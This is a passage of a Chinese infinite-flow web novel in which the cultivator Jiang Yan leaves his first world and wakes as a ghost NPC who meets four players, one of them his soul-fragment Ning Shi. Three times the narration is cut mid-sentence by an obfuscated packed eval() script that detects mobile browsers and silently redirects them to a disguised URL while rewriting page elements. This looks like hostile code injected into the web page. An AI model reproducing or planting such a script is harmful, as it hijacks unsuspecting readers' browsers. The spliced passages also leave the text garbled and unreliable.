江晏某天穿着卫衣,抱着开题报告,顶着黑眼圈在学校里走着,迎面过来一个西装革履的人影,在他面前站定。 江晏眨巴眨巴眼睛,哦,是宁时。 他们这样一起站在,好像什么霸道总裁和小白花的剧情哦。 显然,剑修在这个世界看了不少东西,甚至乐在其中。 面前的宁时似乎猜到了他在想什么,乐了:“你读研的费用宁总包了。” 江晏:……… 分魂能接梗,但是还是莫名的不爽啊! 宁总没有开玩笑。 他们公司鼓捣了一款服务型机器人程序,被一个更大的项目看重了。 于是研一的江晏莫名其妙真的被宁时“包养”了。 江晏感觉……有点爽。 他对啾啾说:“看吧,最好的投资就是爱自己。” 啾啾:? 江晏:“我多爱我的分魂啊,看,现在我爱自己的回报来了。” 由于宁时确实变得有钱了,加上成为一名医生需要更高的学历,江晏决定,读博。 几年后。 江老师的日常生活是这样的: 给本科生上课,给研究生们开开组会,再去学校附属的医院坐诊。 然后晚上回到他和宁时的家。 宁时有时候会在整张红木书桌后看着电脑,有时会赤脚踩在客厅长绒地毯上,低头看着城市的车流。 他们完全在C市定居了。 宁时会每个月给王丰和宁陟岳的账户上打一点钱。 江晏的房子租了出去。 他们很久没有回到那个城市了。 旧的记忆随着时间的流逝,被新的记忆叠上去。 但是不会消失,会成为他们新生活的底色。 江晏想,世界上任何地方都可以成为住处。 但只有宁时也在的地方,可以把两个人变成一个人。 把世界上的任何一个地方变成家。 35. 男鬼 江晏和宁时在这个世界活了九十多年。 江晏眼睁睁看着宁时公司的机器人从在地上跑来跑去再到在天上飞来飞去。 他甚至萌生了搞一个带回原世界代步,让攻玉剑歇歇的想法。 想法还没实现,这个世界就最后结束在宁时的午睡中。 这是江晏第一次感受到了世界的波动,他不用再控制自己这具被啾啾造出来的身体,一瞬间,用于伪装成人类的白发复黑,皱纹消失。 江晏站在中午的阳光里,依然是少年的模样 他在世界愈发剧烈的波动中,轻声说:“我们还会再见面的。” 世界上蒙了一层雪花般的噪点,江晏在一阵头晕目眩中,被这个世界吐了出去。 此时的江晏处在一片灰蒙蒙的虚空中,原本存在于他意识海中的啾啾,也变回了鸟形,浮在空中。 江晏堪堪回神,问啾啾:“这第一个世界如何?” 啾啾闭上了黑豆大小鸟眼,感受了一番,道:“很成功,你散落在这个世界的分魂内心很满意。” “恭喜你成功稳固了一部分神魂,距离你回家并且成为完整的江晏更进一步了。” 江晏点点头:“不错嘛,毕竟那可是我的一辈子。” 啾啾则发出尖锐爆鸣:“呸呸呸,你瞎说什么啊!” “是普通人的一辈子,你的一辈子还长。” 江晏无所谓道:“也是人类宁时的一辈子,他就是我,我刚才这样说也行。” 啾啾:“……你也太百无禁忌了些吧!” 江晏摸了摸它的鸟头:“带我去下个世界吧。” 啾啾问他:“你不要休息一下吗?” 江晏:“不用了,直接把我投放到下一个世界就好。” “刚才在这个世界里,我已经很幸福了。” “再说,早把这些世界经历完,我就能早点回去了。” 啾啾:“行吧。” 说完,灰灰花花的小鸟身上晕开了一团光,渐渐扩大,最后把江晏包裹进去。 江晏在这团光里,感受到了熟悉的天旋地转。 一时间,他想起了个事—— 啾啾说过在第一个世界给他造身体,消耗了很多能量,以至于在之后世界的灵魂载体充满了不确定性。 所以,他这次的身体到底会是个什么! 江晏开始感到头大。 一阵吸力传来,他确实附在了什么上面。 江晏在心理上深吸了一口气,开始感知自己和周围的环境。 ——很好,这个身体有胳膊有腿的,应该是个哺乳类的动物。 江晏缓缓睁开眼睛,低头。 哇唔,是个人类的身体呢。 虽然看起来是个瘦竹竿,手臂也泛着营养不良的青色。 他环顾四周,发现自己在一座颇有年代感的民居里。 还是不怎么有钱的人居住的民居。 证据就是头顶漏着天光的木板、屋子里简陋的自制家具。 江晏在屋子里转了几圈,没有发现什么特别的东西。 但是他确定了这个屋子的时代,和他原来世界凡人间的生活类似。 反正不会像第一个世界一样,有什么电灯之类神奇的东西。 江晏决定出门看看四周的环境,顺便确认一下自己在这个世界的身份。 一只瘦巴巴的,但还能看出形状优美的手放在门栓上,开了门。 迎着天光,江晏眯了眯眼。 这屋子外面不是街道,而是一个破落的小院。 实在是太破了,杂物房东倒西歪,柴火垛已经腐朽了,上面挂着蜘蛛网。 江晏:…… 算了,来日方长,以后再慢慢研究。 江晏决定先走出这个院子一探究竟。 他慢慢打开院子的大门——之所以是慢慢的,是因为他感觉这个身体有点虚。 门栓吱呀了一声,江晏从两扇门中间看到了外面的世界。 是一片有些荒凉的地。 离屋子近些的地方,有一颗一人难以合抱的桃树。 再远一些的地方,是零星的房屋。 有条小路从他现在所在的这个屋子向远方的屋子延伸。 江晏低头看着脚下。 路上是东倒西歪的杂草,越向远方,杂草反而越少了。 看来自己住的地方没什么人来。 江晏叹了口气,感觉这个世界的身份是一个边缘化的小可怜。 他准备沿着面前这条路走下去,最好能遇到什么人,聊一聊。 方便他了解这个世界的现状。 江晏走过了桃树下,走过了一片荒地。 走过了几块菜地,甚至走过了当地人的坟场。 然后江晏到了一片池塘边上。 这池水还算清澈,但看不清有多深。 江晏本在赶路不欲多看,但突然想起自己还没有见过这个世界躯壳的模样。 于是便走到水边,探头张望。 啾啾出声:“你别离得很近太近,我们还没搞清这个世界的情况呢。” 江晏:“放心吧……欸?” 啾啾:“!” 江晏:“呃……其实没事。” “我只是没想到自己这次的身体看起来好……苍白无力。” 江晏选了个比较贴合的词。 粼粼水光中,是少年一张偏瘦的脸。 下颌骨分外清晰,眼眶深邃,脖子下是明显凸起的锁骨。 江晏还看到自己双眼下的两块乌黑。 江晏不禁揉了把眼:“这孩子是熬夜了吗?” 但这个身体看起来弱弱的,江晏目前却丝毫没有感受到诸如心慌、气短之类的不适。 江晏将其归结于年轻人身体好。 他从湖边离开,继续沿着脚下的路走着。 在江晏背过身的一瞬间,湖中似乎出现了一团飘荡柔软的东西。 延伸出长长的丝线,随着荡漾的水波缓缓浮动。 …… 江晏终于走到了这片民居前。 他看着面前随意停在巷子两侧的自行车,沉默了。 江晏疯狂呼唤啾啾:“这到底是什么时期!” 啾啾扫了一眼:“你进入上个世界的时间往前调五十年就差不多了。” 江晏:“哦。” 路上人很少,江晏本来试图向他们打招呼,但获得的回应为零。 江晏开始严重怀疑自己在这个世界的人际关系了。 五分钟后,依然没有和人搭上话的江晏:…… 现实是残酷的,江晏清晰地意识到光凭打招呼获取信息是不可能了,他决定主动出击。 换句话说就是硬逮住一个幸运路人硬问硬聊。 他再次打量了一下自己身边的环境。 面前是一座颇为气派的院落,屋顶每一片瓦当上都有阳刻的花纹。 就是有些旧了。 大门上还挂了个牌子,上面写着字。 江晏凑近了看,“文物保护建筑”几个字清清楚楚映入眼帘。 江晏:… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902346|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 看来这个院子里大概率不会有人了。 江晏正考虑远途折返时,巷子拐角处来了一个中年人。 等到了幸运路人的江晏大喜,快步上前去。 一边挥着手道:“哥!你好!” 那中年男人看着江晏一愣,随即扭头就跑! 坚决又慌乱,以至于自己被自己绊得踉跄了一下。 江晏:…… 他对啾啾说:“我好伤心啊。” 啾啾:“这不对劲。” 江晏扶额:“我感觉有什么东西被自己忽略了。” 啾啾:“是啥?” 江晏猛然抬头:“我走了这么多路,刚才还跑了,可我感觉自己的心率好稳定欸。” 啾啾点头:“也是哈。” 作为一个神器,啾啾还是有很多功能的。说完,它就开始给江晏测心率。 然后啾啾就愣住了。 江晏许久得不到回应,发问:“你干啥呢?” 啾啾颤抖的声音传来:“一个好消息,一个坏消息,你先听哪个?” 江晏想都没想:“坏消息。” 啾啾:“要不你先听好消息?” 江晏几乎想锤它:“那你还问我干啥。” 啾啾干巴巴道:“行吧,坏消息就是——你这个身体不是人。” “唔,好像是有了实体的意识体,具体是什么东西还要再观察。” 江晏:?? 他再次低头,看了看自己细瘦、修长、苍白的胳膊。 又看向刚才中年男人逃跑的方向。 一瞬间,这些细节都有了答案。 江晏沉默了,又问道:“那好消息呢?” 啾啾:“……好消息就是你不会因为剧烈运动而产生心率过高等引起你身体不适的状况了。” 江晏气得没理它,转头沉默地原路折返。 啾啾忙道:“哎呀,是你先要听坏消息的!” “咱们来说点正事,你先别生气了。” “我在这个世界还没有感受到宁时的存在……呃,说起来你的分魂在这个世界也会叫宁时吗?” 听了啾啾这句话,江晏有了反应,他停下脚步,问:“没有感受到?” 啾啾:“是啊,而且在这个世界,我总觉得有一种说不出来的感觉。” “像是我的能力受到了比上个世界更大的限制。” 江晏奇道:“你一个修真界的上古神器,还能被这不明不白的小世界限制?” 啾啾反驳:“你这就不懂了吧。” “这种情况不明的小世界,幺蛾子才多呢。” “有穿越的,有重生的,有穿书的,还有双重生双穿书的,更有前面几种情况叠加的。” “你第一个世界很正常了。” “还有些不正常的世界里面会有巨大的章鱼触手,有橘色的没有尽头的房间,加上各种妖魔鬼怪……等等!” 江晏的语气开始绝望:“在你刚刚说的那些不正常的世界里,我感觉……我现在应该是鬼吧?” 啾啾点头。 江晏有气无力:“我感觉作为一只弱小的男鬼,什么巨大章鱼和无尽房间都能把我灭了。” 啾啾大声道:“振作点!你现在应该是在一个无限流的小世界里。” “在这个小世界的npc身上。” 江晏继续有气无力:“可是无限流并没有比没有尽头的房间听上去好点……” “这是什么鬼世界。” “哦,还有这是什么鬼身体。” 36. 无限流玩家 啾啾用幻影趴在江晏耳边,细细向他解释了一番何为“无限流”。 江晏缓缓恢复生机。 并且在听说自己属于无限流世界的npc后,生机到达了目前他来到这个世界的最大值。 江晏语气兴奋:“所以,我不用担心自己被这个世界的妖魔鬼怪伤害了?因为,我就是!啊哈哈哈———” 啾啾:“你先冷静一下。” “虽然你的安全问题得到了解决,但同样还有几个大问题。” “第一,无限流世界通常有系统,系统会限制我的能力,可能对任务不利。” “第二,据我感知,宁时还没有进入这个世界。这就又产生了两种可能。” “一种是他也是这个世界的npc,但是属于激活型,也就是只有玩家进入世界,宁时才会从npc身上苏醒。” “这种情况你们可以试着联手,无论是把玩家打包揍一顿送他们离开千里之外不再打扰你们的二人世界,还是一起把无限流系统搞崩了,都好。” 江晏细品了一番啾啾的话:“真有想法,我喜欢。” 啾啾继续道:“别急,我还没说第二种情况呢。” “另一种情况,稍稍有些麻烦。” “那就是,宁时是要进入这个世界玩家。” 江晏语气微妙地“哦”了一声。 啾啾解释:“玩家和npc的关系,基本可以说是对立的。” “更何况你现在是……一只男鬼。” “别说取得玩家的信任了,怕是刚靠近玩家,就要被各种宝贝招呼一顿吧。” “呃……换个角度想,也有好处。” “作为玩家,宁时肯定想早点通关。” “你又是npc,给他多开小灶还不简单?” 江晏思索一番,觉得颇为有理:“船到前头自然直,听起来都不错。” 啾啾:“还不是为了让你放心。” 江晏便笑道:“是了,是了,还要多多仰仗我们的神器呢。” 啾啾“嘶”了一声:“别肉麻,回去吧。” “这个世界看环境属于偏重解密的无限流,你回你一开始苏醒的屋子,仔细翻翻,看能找到什么线索。” 江晏便回去了。 有了对这个世界的了解,一路上,他更有心思看风景了。 这个村庄周围都是山,层层叠叠,颇有与世隔绝的意味。 实在是个无限流的绝佳选择点。 江晏打量着周遭的一切。 这时,空气中传来了什么波动。 与之而来的是一种莫名的力量,江晏感到这股力量,有丝他从前世界“天道”的意味。 总之感觉不太妙,江晏决定开溜。 然而他一迈腿,却发现自己的身体被定住了。 江晏:…… 他扭了扭脖子,扭不动;又试图转动眼珠,也不能动。 江晏无语了,对啾啾道:“这就是你说的会受系统限制?” 啾啾:“啊……是这样的呢。” 江晏瞪着不能转的眼珠,看着面前静止的人和、飞虫和杂草,冷漠道: “我还没吃过这么大的亏。” “感觉你刚才搞崩这个世界的提议很不错。” 啾啾正要劝他冷静,空气中却出现了嗞嗞的电流声。 是一个听不出男女的机械声: “新娘的发簪副本即将开启,倒计时十、九、八……” 江晏点评:“光听这个名字,呃,感觉有些隐情呢。” 啾啾:“闭嘴吧你,我们得先找到宁时的位置和身份。” 江晏用意念翻了个白眼。 在机械音发出“零”的声音同时,江晏看到在不远处的天空上闪过一道白光。 随即消失了,那片天空依旧湛蓝。 一起消失的还有机械音和让这个世界静止的力量。 江晏抬起眼,看向白光消失的方向。 那片天空下依旧是这片村落,距离江晏现在的位置不过三里路。 根据啾啾对无限流世界的描述,江晏知道,那白光的出现,意味着这次的无限流玩家到场了。 他决定过去看看。 在路上,江晏一边问着啾啾:“你感受到宁时的气息了吗?” 啾啾道:“从那道白光出现后,宁时确实在这个世界了。” “对,就是在白光落地的方向。” “但是他是npc还是游客,暂时还不能辨别出来。” “一些npc在游戏初期会距离玩家很近,我不好分辨。” 江晏点点头。 他向前走着,脑海中充满了奇思妙想与期待。 宁时会是npc吗? 还是说是玩家? 他会保留上辈子的记忆吗? 他长什么样子? 他这个世界的心愿又是什么? …… 种种想法,在他脑海里激荡。 江晏如今的身体能走得很快,巷子两侧不同形状的民居,被他一座座抛在身后。 大概走了二里地,江晏迎面碰上了四个人。 在看到他们的第一眼,江晏的第六感就在告诉他,这就是通过白光进入这个世界的无限流玩家了。 两女两男。 一个看起来二十七八的成年女性,正常身材,戴着一副金丝眼镜。 一个不过十五六岁的女孩子,瘦瘦的,看起来很安静。她脸上挂着大大的黑框眼镜,眼下有些青乌。 一个中年男人,有些发福了,离那个瘦小的女孩有些近。 在中年男人的前面,和成年女性并排走着的,是一个二十来岁的男青年。 江晏看着这身材高挑的男人,眯了眯眼,对啾啾道:“你不用感应分魂在哪里了。” 确实没必要了。 面前的青年,长着一张和上个世界宁时一模一样的脸。 江晏一瞬间甚至幻视了从前的宁总。 但这个世界的宁时,身份估计没有那么有钱。 此时站在江晏面前的宁时,穿着白衬衣,黑西裤,还打了领带。 但那衬衣没有从前的合身。 江晏再次扫了一圈玩家们的穿搭,联系啾啾的介绍,能猜到几人是在平日的生活中被突然拉进这个世界的。 成年女性,可能是文员或者研究者。 瘦瘦的女孩子,一眼女高。 中年男人,缺乏身材管理的打工人。 至于宁时嘛…… 江晏想了想,给出了客观的评价: 像个小领导,本质上依然是打工人。 他没有再琢磨这几个人的身份了,因为那成年女性推了推眼镜,对他说:“你好?” 宁时的目光也平静地注视着江晏,没有什么情绪。 江晏:…… 糟了,还没有想好编什么瞎话。 他沉默的时间对于日常交流来说有点久了,那成年女性的目光中开始产生了探寻和怀疑的意味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902347|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身后的女高一直静静地看着江晏。 而那身材发福的中年男人则是向前跨了一步,小声对那成年女性说:“小康,这是npc吗?” 成年女性回头看了他一眼,又转过头看着江晏:“现在还看不出来。” 停了停,道:“我叫康林,我们还没有熟到你可以这么叫我的地步。” 中年男人搓了搓手,脸上的笑容有些尴尬了:“哎呀,我想着你是个漂亮小姑娘,这么叫不比冷冰冰的称姓名好听嘛。” 康林用后脑勺对着中年男人,没有出声。 但站在她对面的江晏清清楚楚地看见她在眼镜后面翻了个巨大的白眼。 此时,啾啾小声对江晏说:“这应该是无限流里的随机组队。” “这几个人,可能有经历过好几次游戏的,也可能有第一次进入游戏的。” “你看,他们几个人明显不太熟的样子。” 江晏暗暗点头。 互相不认识就好说了,这极大方便了江晏获取宁时的信任。 面前,宁时听见了中年男人的话,回头道:“黄成钢,现在不是说这些的时候。” 那男人便悻悻地闭了嘴。 可江晏依然听见他小声嘟囔了一句:“不就是经历的游戏多嘛,有什么了不起,我也过了三个游戏了。” 然后又试图对同样站在后排的女高搭讪。 江晏感觉此人不太对劲。 给他的感觉不太舒服。 正好他的瞎话也编好了,江晏便抬手挠了挠后脑勺,做一脸迷茫状:“……你们是?” 眼前的“npc”开了口,四人小团体便把内部的种种放在一边,一时间,八只眼睛齐刷刷聚在了江晏身上。 江晏继续说下去:“你们认识我吗?” “我好像失忆了,今天从一个屋子里醒来,什么都不记得了。” 江晏一边说着,一边暗自对自己的表演打了个满分。 哦吼,这真诚的眼神! 这瘦小的身板和可怜巴巴的语气,多么人畜无害啊! 正好他苏醒的屋子是空的,也许可以把这几个人邀请过去住。 这样和宁时接触的机会又增加了,耶。 江晏“失忆”二字一出,面前四人交换了个眼神。 最后,宁时开了口:“所以呢?” “你失忆了关我们什么事?我们又不是医生,治不了。” “失忆了就去找医生。” 声音像和黄成钢说话时一样冷漠。 江晏:…… 这个世界的宁时嘴好欠啊! 他暗自磨了磨牙。 宁时旁边,康林微侧过脸,小声对宁时说:“……万一是重要npc呢。” 宁时眼神动了动。 江晏看见了他的表情,突然悟了—— 现在的宁时根本没有相信他说过的任何一句话。 江晏就是这么肯定,因为不会有人比他更了解宁时了。 ……从这个角度想,果然穿成玩家的宁时好难搞哦。 江晏有些烦闷,一边回想着自己在上个世界上怎么做的。 ……空旷的村庄,老旧的房间。 江晏突然想到办法了。 他看着宁时,迅速红了眼眶: “我家里没有人,这个地方也没有人和我说话。” “我还失忆了。” “我一个人有点害怕。” 宁时的表情在江晏可怜兮兮的声音中慢慢僵住了。 37. 住处 目睹了一切的啾啾在沉默后爆发了。 “江晏,你真不要脸啊。” “第一个世界还那么抗拒呢,怎么现在越来越熟练了?” 江晏维持着面上柔弱可怜的表情不变,对啾啾冷漠道: “这叫随机应变,你不懂。” 啾啾哼道:“我懂,是你们腻歪了那么多年,你开始习惯撒娇了吧。” 江晏完美的表情险些没有绷住。 一瞬间,某些画面开始在他眼前闪现,像看电视一样。 江晏:…… 他感到耳廓微微热了起来,有些羞恼了,便用意识屏蔽了这只聒噪的小鸟。 同时也把脑海中放着画面的小电视强制关机。 世界清净了。 江晏眨巴眨巴眼,继续看着这个世界的宁时。 宁时已经从刚才的震惊回过神来:“……你叫什么?” 江晏:“……忘记了。” 既然他现在是一只男鬼,又是在这么一个不正常的世界,没准有什么特殊身份。 江晏不能随便说自己叫江晏,还是要看这个男鬼的身份。 宁时点点头,又问:“你多大了。” 江晏:“我都失忆了怎么会记得!” 他话音落下,能看到四人都隐约松了口气。 江晏知道,宁时刚才在试探。 天空中传来鸟叫,几人抬头,看到一排飞鸟掠过橙黄色的太阳,和粉紫色的云朵。 康林用一种自言自语的声音道:“傍晚了。” 接着,江晏听到女高的第一句话,声音软软的:“可是任务还没有一点头绪。” 黄成钢重重地叹了口气,声音之大,让宁时也回头看了他一眼。 江晏看着他们四人,意识到这是一个打探消息的好机会:“任务?” 没有人回答江晏。 江晏便看向宁时。 再次听到“任务”这两个字,宁时的表情也开始变得沉重,他按了按额角。 江晏看得出来,他们对自己的警戒心还是很强。 他决定做一只有分寸的npc。 于是,江晏贴心地揭过了这个话题,并向四人发出邀请:“你们从哪里来?有住的地方吗?要不要先来我家凑合一下?” 这算是江晏的第二次邀请了。 这次,不知是因为他纯良的样子,还是渐晚的天色,江晏获得了比第一次大不相同的反应。 四人听到他的提议后,凑在一起小声嘀咕了几句,最后,康林抬起头,对江晏笑着说: “弟弟,那就麻烦你了,我们叨扰几天。” 江晏爽快道:“好嘞。” 他便带着四人往他在这个世界的家走去。 走在街道上,江晏发现,自从这四人来到这个世界后,村落里出现的人,或者npc,变多了。 就好像是这个世界被一剂来自外界的针药激活了。 蹦蹦跳跳的,头上扎了两个小揪揪的女孩从他们面前跑过。 她身后是弯着腰,拄着拐杖的老奶奶。 远一些的地方,几个婶婶坐着小马扎,在门口织毛衣,她们旁边是几个劈材的男人…… 总之像一个正常的世界了。 江晏走在前面带路,能听见身后四人小声地议论着: “看这个世界感觉像几十年前啊。” 这是女高的声音。 康林低低应了一声,又问:“瑶瑶多大了?” “十六了。” “那还在上学啊。” …… 江晏听着她们聊着,知道了女孩叫陈锦瑶,高三。 康林的身份和他一开始猜的方向一致,是某大学的助教,博士在读。 那么,现在就剩宁时和黄成钢的身份不知道了。 江晏回头,正好看见黄成钢沐浴着乡野的晚风,整个人精神抖擞:“对,就是这种田园生活!” “这里的人多纯朴啊,不像现在。” “多么羡慕父辈的爱情啊,可惜现在找不到了。” 江晏:…… 黄成钢在现实世界的身份好像没那么重要了,江晏感觉自己更不想了解这个人了。 江晏身后,宁时依旧是安静的。 他既没有加入女孩子们的话题,也没有理会发癫的黄成钢。 他只是像一个普通的游客,到乡村里漫步。 气定神闲。 江晏决定找宁时聊聊天。 他蹭到宁时旁边:“嗨?” 宁时对他点了点头。 江晏再接再厉:“怎么称呼?” 宁时:“叫我宁时就行。宁静的宁,时间的时。” 江晏点了点头。 和他猜测的一样,宁时在这个世界也叫宁时。 和他的外貌一样,并没有发生变化。 江晏瞄了眼不远处聊天的康林和陈锦瑶,和自嗨的黄成钢,发现没什么人注意到他和宁时这边。 于是江晏又问:“你们过来旅游的吗?” 他获得了宁时的一声轻笑。 要是别人听见了也就算了,可这是江晏。 是宁时原本的魂魄,是曾经和宁时共同生活了几十个春秋的人。 江晏一听宁时这么笑,就知道坏了。 这个笑声,宁时显然看出来他想打探消息的意图。 江晏无语了——这天没法聊下去了。 宁时在发出了这声短暂的笑后,确实是继续沉默着。 沉默地跟着江晏走着。 这片村落不算大,不一会儿就到了江晏家。 四人对着大门,看着那腐朽到缺了几角的门板,沉默了。 江晏顺着他们的目光看去,还看到了院子里几张蜘蛛网。 江晏:……怎么感觉像是他自己把人诓骗过来了呢。 还是康林最先出声:“弟弟,你家……可真是原生态啊。” 宁时噗嗤笑了一声。 江晏这次能听出来,宁时这次笑得比刚才真情实意了很多。 那黄成钢却环视了周围一圈,略有不满,对江晏说:“你就让我们住这里?” 江晏:“……我就是住在这里的。” 陈锦瑶小声道:“哥,算了,他看起来人还不错,就住下吧。” 黄成钢听了这句话,却更来劲了:“看起来?” 他的声音越发大了:“无限流世界看起来和善的东西多了去了,你是什么意思?” “你想害死我们吗?” 陈锦瑶不料他反应这么大,忍不住别过头去,看着虚空,避免和他眼神接触。 宁时看着黄成钢,皱了皱眉。 康林也叹了口气,接着突然拔高音量开口:“黄成钢!” 黄成钢抖了一下。 康林声音响亮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902348|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语速流畅,继续道:“你不愿意在这里住就去别的地方啊,没人拦着你。” “这次也没有规定说一定要几个人完成任务。” “您随意哈。” “要是和我们一起,就老实点。” 众所周知,在这种恐怖本里,落单意味着死亡的倒计时。 黄成钢虽然傲慢而莽撞,但还是知道这一点的。 江晏眼看着他安静了下来。 解决掉这个内部不安定因素,五人决定收拾一下房间,安排住处。 江晏现在的家是这样的结构: 进入大门是一个院子,院子正面是堂屋和东西厢房。 若是站在堂屋门口,则能看到,在院子的另一侧,是一个杂物间,里面堆了些柴火。 几人进了堂屋,各往东西厢房一看,里面没有床,只有炕。 ——一张炕相当于一张大床。 宁时和康林对视了一眼,异口同声:“女的一间,男的一间。” 江晏正在点头表示赞同,肩上传来了一股力量。 他回头,发现是黄成钢刚才推了他。 江晏:……好气呦。 黄成钢没有理会这个江晏这个“npc”,毕竟,在他眼里,一个在封闭的乡村里长大的瘦小少年,没有什么值得他留神的。 黄成钢眼珠在陈锦瑶和康林身上转了转,道:“不如这样吧,瑶瑶和我,还有这个人,”他指了指江晏,“我们三个一间房。” “男女在一间,有危险了我可以保护瑶瑶,是吧。” 陈锦瑶眼神动了动,伸出素白的手,勾了下康林的袖子。 康林深吸了一口气,挺直了后背,一个箭步上前,甩了黄成钢一巴掌。 江晏听那声音脆生生的,可见是用了十成十的力气,不由得暗自叫了声好。 那黄成钢有一瞬被打懵了,之后反应过来,暴怒着扑向康林:“……你这贱……啊!” 他的污言秽语终止了,因为这张嘴的主人以一种很不体面的姿势,后背朝天地摔在了地上。 ——俗称狗吃屎。 江晏看看趴在地上蠕动的黄成钢,又扭头看看漫不经心把脚收回去的宁时。 好像和上一个世界宁时的影子慢慢重叠了。 无论是换了什么样的世界,换了什么样的身份和壳子,宁时,或者他自己,灵魂中的一些东西,是不会变的。 …… 破旧的屋子里,四个人站着,看着地上的黄成钢缓缓趴起。 他灰头土脸的,出乎意料地没有再叽歪。 而是一言不发地转身,去西厢房收拾去了。 这个污染源终于走开了,四人所在的东厢房里渐渐洋溢起快活的气息。 陈锦瑶在用小扫把扫着积灰的炕。 康林站在炕上,在擦玻璃。 宁时在陈锦瑶扫过一边灰后,拿抹布擦着炕,又来来回回地洗着模板。 至于江晏…… 他去了黄成钢所在的西厢房,并指挥着黄成钢打扫西厢房的卫生。 可能因为还没有摸清这个npc的底细,黄成钢对江晏表现地比较顺从。 真的把西厢房打扫到基本可以住人的程度了。 在五人忙活了一番后,本来就不算早的天色,这下是彻底黑了。 从窗外看去,能见到冷清的白月,稀疏的星星,还有不远处巷子里昏暗的路灯。 38. 夜晚 在无限流副本的世界里,夜晚的到来,总是被赋予着更多的意义。 比如,意味着普通人自由活动时间结束了。 意味着某些故事变成了现实。 意味着里世界真正对外来者露出了面目。 几人按照着性别之分分别住在东西厢房,但由于这是在副本里的第一个夜晚,大家还不想那么早睡,便聚在堂屋里,亮着油灯聊天。 江晏听他们聊着,内容无非是一些学术方面的,还有关于这个村庄的一些民俗和传统文化。 “听说这个村子的特色是造簪子。”康林慢慢地说着。 这句话怎么看都是平平无奇,可另外三人却在她话音落地的一刻,都转过头看着她。 陈锦瑶喉咙动了动,补充道:“……对呀,那我们做这个课题吧。” 出乎江晏意料,宁时点点头:“嗯,也算是有选题了。” 黄成钢干咳了一声:“导师说要多几种研究方法……那我们明天先去查资料还是找个当地人问问?” ……若是忽略掉他们的外貌和气质,仅仅是听说话内容,完全就是几个来做人文课题研究的大学生。 可是…… 江晏转过头,看了看一脸稚气的陈锦瑶,再看了看脸上已经生出来不少皱纹的黄成钢。 ——这怎么可能是大学生啊啊啊! 他无比确定这四个人都在说假话。 江晏想到了啾啾和他讲过的无限流世界规则。 从外界而来的玩家,进入副本世界时,通常有个看似符合副本世界逻辑的身份。 结合这一点,江晏可以判断出,所谓的研究和课题,所谓的大学生,都是宁时他们在这个世界的幌子。 他们一定还有别的目的,也就是这个无限流副本世界要完成的任务。 那么,这次的任务是什么呢? 这不仅仅是四个玩家要解决的问题,也是江晏能成功结束这个世界的关键。 江晏身边,还是四个人如角色扮演一般的,也如打哑迷一样的聊天。 很显然,他们还没有相信江晏。 还做不到视江晏为普通npc,在他面前畅所欲言。 意识到这一点后,江晏居然生出了一种欣慰感—— 宁时他们还不算太蠢,还算有警惕性。 毕竟无限流世界里瞬息万变,错综复杂,眼前其貌不扬的npc,没准就能在结尾变成大BOSS。 江晏一边想着,一边挪动了一下因长时间保持一个姿势听人聊天而略有麻木的右腿。 ……感觉好像不太对? 不像是略有麻木,这完全是失去知觉了啊! 江晏按着右腿欲哭无泪,已经能想象到逐渐恢复知觉时噼里啪啦如过电般酸爽的感觉了。 ——所以宁时他们到底是聊了多久! ——他的腿都听麻了! 江晏面上神色不变,保持坐姿,交叉了手臂,右臂在前面,后面用左手揉着右腿。 宁时突然朝江晏的方向看了一眼。 还没从上个世界缓过神来的江晏对宁时露出了一个超级真诚、喜悦、灿烂的微笑。 宁时:…… 他好像没有反应过来,默默地扭过了头去看cosplay大学生逐渐上瘾的康林和陈锦瑶。 江晏则是从宁时的反应中意识到,这是一个全新的世界了。 眼前的宁时,除了还是他的分魂之外,已经没有上一个宁时的记忆了。 哦,但是那种臭屁劲儿还是似曾相识的。 所以……江晏感觉自己刚才对宁时的笑,在对方眼里,好傻喔。 他在心里无声地叹了口气,继续摸摸揉膝盖。 …… 不对,十分有十二分的不对。 江晏非但没有感受到右腿的恢复,反而觉得自己的左手也开始变麻了,不听使唤了。 江晏在内心发出尖叫,并呼唤啾啾,发出一连串爆鸣: “啾啾!我这是中毒了吗?” “我感觉自己像慢慢冻住了一样,腿和手都逐渐动不了了。” “救命啊——” “宁时他们也有这情况吗?” “看我看看……好像没有?” “……” “这太离谱了吧!我可是npc欸。” “这是什么离谱的毒物只会攻击我这个可怜的npc!” …… 以下省略若干句。 被他召唤过来的啾啾,围着江晏转了一圈后,在意识海里,面对面停在江晏眼前。 “啾……我的建议是,你马上说你很困,然后去西厢房炕上睡觉。” 江晏:? “别用你那充满疑惑的眼神看我了!快点,抓紧。” “我待会儿再给你解释。” 小鸟平日里轻松的语气消失了,声音有些严肃。 